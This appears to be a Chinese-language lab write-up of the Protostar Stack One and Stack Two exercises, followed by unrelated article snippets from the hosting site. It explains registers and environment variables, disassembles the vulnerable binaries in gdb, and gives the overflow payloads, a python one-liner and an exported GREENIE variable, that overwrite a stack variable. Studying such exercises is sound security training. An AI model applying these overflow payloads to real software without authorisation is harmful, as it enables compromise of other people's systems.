二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two

news2024/11/25 3:20:46

在这里插入图片描述

前言

Protostar靶场的安装和一些二进制安全的基础介绍在前文已经介绍过了,这里是文章链接

https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501

什么是缓冲区溢出

当系统向缓冲区写入的数据多于它可以容纳的数据时,就会发生缓冲区溢出或缓冲区溢出,用更简单的话说就是在程序运行时,系统会为程序在内存里生成一个固定空间,如果超过了这个空间,就会造成缓冲区溢出,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,甚至可以取得系统特权,进而进行各种非法操作

什么是寄存器

寄存器是内存中非常靠近cpu的区域,因此可以快速访问它们,但是在这些寄存器里面能存储的东西非常有限

计算机寄存器是位于CPU内部的一组用于存储和处理数据的高速存储器。用于存放指令、数据和运算结果

常见的寄存器名称以及作用:

累加器寄存器(Accumulator Register,EAX):用于存储操作数和运算结果,在算术和逻辑操作中经常使用。

基址指针寄存器(Base Pointer Register,EBP):用于指向堆栈帧的基地址,通常用于函数调用和局部变量访问。

堆栈指针寄存器(Stack Pointer Register,ESP):指向当前活动堆栈的栈顶地址,在函数调用和参数传递中经常使用。

数据寄存器(Data Register,EDX、ECX、EBX):用于存储数据,在算术和逻辑操作中经常使用。

指令指针寄存器(Instruction Pointer Register,EIP):存储当前要执行的指令的内存地址,用于指示下一条要执行的指令。

Stack One

程序静态分析

https://exploit.education/protostar/stack-one/

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

源代码分析

首先程序定义了两个函数变量

volatile int modified;
char buffer[64];

整数型变量 modified 和字符型变量buffer,其中字符型变量buffer的字符存储最大为64个字节

然后程序检测了我们输入的参数

if(argc == 1) {
    errx(1, "please specify an argument\n");
}

如果我们只运行程序,不输入参数就会输出please specify an argument并结束程序

之后程序定义了一个变量和进行了一个字符串复制操作

modified = 0;
strcpy(buffer, argv[1]);

modified变量为0,然后将我们输入的参数复制到buffer变量里

然后程序做了一个简单的if判断

if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
} else {
    printf("Try again, you got 0x%08x\n", modified);

如果modified变量等于0x61626364就输出you have correctly got the variable to the right value,代表着我们破解成功
0x61626364是十六进制,转换字符串是大写的ABCD
在这里插入图片描述

也就是说,我们使modified变量变成ABCD就成功了,但是modified变量设置为0,这里我们就需要栈溢出覆盖变量原本设置的值

汇编分析

使用gdb打开程序,输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

在这里插入图片描述

0x08048464 <main+0>:    push   ebp
0x08048465 <main+1>:    mov    ebp,esp
0x08048467 <main+3>:    and    esp,0xfffffff0
0x0804846a <main+6>:    sub    esp,0x60
0x0804846d <main+9>:    cmp    DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>:   jne    0x8048487 <main+35>
0x08048473 <main+15>:   mov    DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>:   mov    DWORD PTR [esp],0x1
0x08048482 <main+30>:   call   0x8048388 <errx@plt>
0x08048487 <main+35>:   mov    DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>:   mov    eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>:   add    eax,0x4
0x08048495 <main+49>:   mov    eax,DWORD PTR [eax]
0x08048497 <main+51>:   mov    DWORD PTR [esp+0x4],eax
0x0804849b <main+55>:   lea    eax,[esp+0x1c]
0x0804849f <main+59>:   mov    DWORD PTR [esp],eax
0x080484a2 <main+62>:   call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>
0x080484b2 <main+78>:   mov    DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>:   call   0x8048398 <puts@plt>
0x080484be <main+90>:   jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:   mov    edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>:   mov    eax,0x80485f3
0x080484c9 <main+101>:  mov    DWORD PTR [esp+0x4],edx
0x080484cd <main+105>:  mov    DWORD PTR [esp],eax
0x080484d0 <main+108>:  call   0x8048378 <printf@plt>
0x080484d5 <main+113>:  leave
0x080484d6 <main+114>:  ret

程序最关键的地方在这里

0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>

它使用mov指令将esp+0x5c栈内地址的值移动到eax寄存器里,然后用cmp指令将eax寄存器里的值与0x61626364做对比,如果对比的值不一样就执行jne指令跳转到0x80484c0地址继续执行其他指令

程序动态分析

我们先在程序执行对比指令的地址下一个断点

b *0x080484ab

然后设置一下自动运行我们设置的命令

define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

在这里插入图片描述

然后执行程序,并指定参数

r AAAAAAAA

在这里插入图片描述

程序执行到我们设置的断点处自动执行了我们上面设置的命令,在这里可以看到我们输入的8个大写A在栈中的位置,并且eax寄存器里的值为0

之前说过,程序将esp+0x5c地址处的值移动到了eax寄存器里,然后执行对比指令

在这里插入图片描述

我们查看esp+0x5c地址存放的值

x/wx $esp+0x5c

在这里插入图片描述

esp+0x5c地址就是栈里的0xbffff78c,每一段存放四个字符,c代表的是12

在这里插入图片描述

从存放我们输入的值的栈地址到esp+0x5c,中间共有64个字符,也就是说,我们需要输出64个字符+4个我们指定的字符才能覆盖modified变量

在这里插入图片描述

在这里还有一个知识点是在x86架构里,读取是由低到高的,要使modified变量变成0x61626364,不能直接输入abcd,而是dcba

 python -c "print('A'*(4*16)+'dcba')"

在这里插入图片描述

成功破解了程序

Stack Two

程序静态分析

https://exploit.education/protostar/stack-two/

在这里插入图片描述
程序源代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

这个程序代码和第一个差不多,只不过是将我们的输入变成了读取环境变量里的GREENIE变量内容

什么是环境变量

任何计算机编程语言的两个基本组成部分,变量和常量。就像数学方程式中的自变量一样。变量和常量都代表唯一的内存位置,其中包含程序在其计算中使用的数据。两者的区别在于,变量在执行过程中可能会发生变化,而常量不能重新赋值

这里只举几个常见的环境变量

$PATH

包含了一些目录列表,作用是终端会在这些目录中搜索要执行的程序
查看$PATH环境变量

echo $PATH

在这里插入图片描述

假如我要执行whoami程序,那么终端会在这个环境变量里搜索名为whoami程序

搜索的目录如下

/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/local/games
/usr/games

在这里插入图片描述

而whoami程序在/usr/bin目录下,终端会执行这个目录下的whoami程序

在这里插入图片描述

而windows的PATH环境变量在这可以看到

在这里插入图片描述

在这里插入图片描述

$HOME

包含了当前用户的主目录

echo $HOME

在这里插入图片描述

$PWD

包含了当前用户目前所在的目录位置

在这里插入图片描述

关于环境变量的更多信息:

https://en.wikipedia.org/wiki/Environment_variable

破解程序

回到正题

variable = getenv("GREENIE");
strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

首先获取了一个名为GREENIE的环境变量,然后将内容赋予variable变量,之后if判断modified是否等于0x0d0a0d0a,这个和第一个程序一模一样,只不过我们不是通过输入来破解程序,而是将payload放到指定的环境变量里,然后程序读取环境变量

export GREENIE=$(python -c "print 'A'*(4*16)+'\x0a\x0d\x0a\x0d'"); ./stack2

直接运行就能成功破解了

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/977614.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法通关村第十九关——最小路径和

LeetCode64. 给定一个包含非负整数的 m n 网格 grid,请找出一条从左上角到右下角的路径&#xff0c;使得路径上的数字总和为最小。 输入&#xff1a;grid[[1,3,1],[1,5,1],[4,2,1]] 输出&#xff1a;7 解释&#xff1a;因为路径1→3→1→1→1的总和最小。 public int minPath…

交叉熵损失函数(Cross-Entropy Loss)

交叉熵损失函数&#xff08;Cross-Entropy Loss&#xff09;是在深度学习中常用的损失函数之一&#xff0c;它适用于分类问题。交叉熵损失函数的作用是衡量预测结果与真实标签之间的差距&#xff0c;从而用于模型的优化。 越接近真实标签&#xff0c;损失越小。在交叉熵损失函…

时序预测 | MATLAB实现LSSVM最小二乘支持向量机时间序列预测未来

时序预测 | MATLAB实现LSSVM最小二乘支持向量机时间序列预测未来 目录 时序预测 | MATLAB实现LSSVM最小二乘支持向量机时间序列预测未来预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab实现LSSVM时间序列预测未来(最小二乘支持向量机)&#xff1b; 2.运行环境Mat…

VIRTIO-BLK代码分析(1)VIRTIO设备的模拟

VIRTIO设备的模拟是由QEMU实现的&#xff0c;它的具现化由函数virtio_device_class_init()实现。 VIRTIO PCI设备包含common/isr/device/notify BAR&#xff0c;QEMU模拟并注册这几个BAR MR&#xff0c;这里同时也注册read/write函数。 VIRTIO-BLK设备的具现化由函数virtio_blk…

974. 和可被 K 整除的子数组

974. 和可被 K 整除的子数组 C代码&#xff1a;滑动窗口 // 1、最长子数组 2、两个单调队列、求最大值-最小值&#xff0c;判断是否满足条件 3、满足记录长度 // 窗口移动条件&#xff1a;int longestSubarray(int* nums, int numsSize, int limit){int queMax[numsSize];in…

【C语言】文件操作(上)

一.什么是文件 文件是磁盘上的文件,文件中存放的数据不随程序的退出而销毁. 二.文件的打开与关闭 1.文件指针 每个被使用的文件都在内存中开辟了一个相应的文件信息区&#xff0c;用来存放文件的相关信息&#xff08;如文件的名字&#xff0c;文件状态及文件当前的位置等&…

包管理工具--》npm的配置及使用(二)

在阅读本篇文章前请先阅读包管理工具--》npm的配置及使用&#xff08;一&#xff09; 目录 &#x1f31f;语义版本 避免还原的差异 npm的差异版本处理 &#x1f31f;npm 脚本 &#xff08;npm scripts&#xff09; &#x1f31f;运行环境配置 在node中读取package.json …

l8-d7 实现TCP通信

一、TCP服务器的实现(理论) #include <sys/types.h> #include <sys/socket.h> int socket(int domain, int type, int protocol); -domain: 指定通信域&#xff08;通信地址族&#xff09;; -type: 指定套接字类型; -protocol: 指定协议; 套接字类型与协议 -type:…

0925hw

1.登录账号密码 void sign_in(FILE *fp)//注册 {char usrname[10];char pwd[12];printf("输入账户:");scanf("%s",usrname);printf("输入密码:");scanf(" %s",pwd);fprintf(fp,"%s %s\n",usrname,pwd);printf("注册成…

postgresql-常用日期函数

postgresql-常用日期函数 简介计算时间间隔获取时间中的信息截断日期/时间创建日期/时间获取系统时间时区转换 简介 PostgreSQL 提供了以下日期和时间运算的算术运算符。 获取当前系统时间 select current_date,current_time,current_timestamp ;-- 当前系统时间一周后的日…

Spring——Spring IOC原理

摘要 IoC 不是一种技术&#xff0c;只是一种思想&#xff0c;一个重要的面向对象编程的法则&#xff0c;它能指导我们如何设计出松耦合、更优良的程序。传统应用程序都是由我们在类内部主动创建依赖对象&#xff0c;从而导致类与类之间高耦合&#xff0c;难于测试&#xff1b;…

电脑dll修复精灵下载,一键修复(win系统)MSVCP100/110/120/140.dll丢失方法

今天&#xff0c;我将为大家分享关于电脑vcruntime140.dll丢失的5种修复方法。在我们的日常生活中&#xff0c;电脑出现问题是常有的事&#xff0c;而vcruntime140.dll丢失则是其中较为常见的一种问题。那么&#xff0c;什么是vcruntime140.dll?它有什么作用&#xff1f;又有多…

如何从任何苹果、Windows或安卓设备访问iCloud照片

本文介绍了如何在各种设备上访问iCloud照片库,包括iPhone和iPad、Mac、Windows PC和Android设备。说明适用于iOS 13及以上版本、iPadOS 13及以上、macOS Big Sur(10.16)和Catalina(10.15)、Windows 10或11以及Android 10。 从iPhone、iPod Touch和iPad访问iCloud照片 照…

Spring Boot @Validated 和Javax的@Valid配合使用

一、Validated 和Valid有什么用 Validation 和Valid 常常配合使用对传输的参数进行数据校验的注解&#xff0c;并通过配置全局异常处理器进行合理化的提示&#xff0c;增加用户的体验 并且Validated可以通过分组来指定什么时候触发什么样的参数校验&#xff08;这里看一下就行…

基于FPGA的FIR数字滤波器设计(quartus和vivado程序都有)。

基于FPGA的FIR数字滤波器设计&#xff08;quartus和vivado程序都有&#xff09;。 附&#xff1a; 1.配套quartus从MATLAB系数生成直到仿真成功说明文档。 2.配套仿真出波形&#xff08;图1&#xff09;的视频。

ShareCRM罗一立:立足香港联通国际,出海正当时

IDC数据显示&#xff0c;2022年中国企业级应用SaaS市场规模达41.6亿美元&#xff1b;而根据另一组数据&#xff0c;同一年全球SaaS市场规模已突破千亿美元。 一边是国内趋于白热化的竞争环境&#xff0c;一边是拥有广阔市场空间的海外“流奶与蜜之地”。近两年&#xff0c;出海…

手写Mybatis:第14章-解析和使用ResultMap映射参数配置

文章目录 一、目标&#xff1a;ResultMap映射参数二、设计&#xff1a;ResultMap映射参数三、实现&#xff1a;ResultMap映射参数3.1 工程结构3.2 ResultMap映射参数类图3.3 添加类型处理器3.3.1 日期类型处理器3.3.2 类型处理器注册机 3.4 存放映射对象3.4.1 结果标志3.4.2 结…

数据结构笔记:PR四叉树

1 基本介绍 在PR四叉树中&#xff0c;每个节点代表一个矩形区域&#xff0c;并且每个节点要么没有子节点&#xff0c;要么有四个子节点&#xff0c;分别代表该矩形区域的四个象限 2 数据结构 PR四叉树的每个节点通常包含以下几个元素&#xff1a; 区域&#xff08;矩形&…

go语言基本操作--四

面向对象编程 对于面向对象编程的支持go语言设计得非常简洁而优雅。因为&#xff0c;Go语言并没有沿袭面向对象编程中诸多概念&#xff0c;比如继承(不支持继承&#xff0c;尽管匿名字段的内存布局和行为类似继承&#xff0c;但它并不是继承)、虚函数、构造函数和析构函数、隐…

16字节协议的串口通信

1.协议要求 协议为帧传输&#xff0c;一共16字节。主要是2字节的固定帧头 EB 90&#xff0c;2字节的帧计数(用来计数发出的帧),10字节的数据和2字节的校验位 帧头&#xff1a;2字节&#xff0c;固定值 8’HEB、8’H90 帧计数&#xff1a;2字节&#xff0c;用来说明发出去帧是…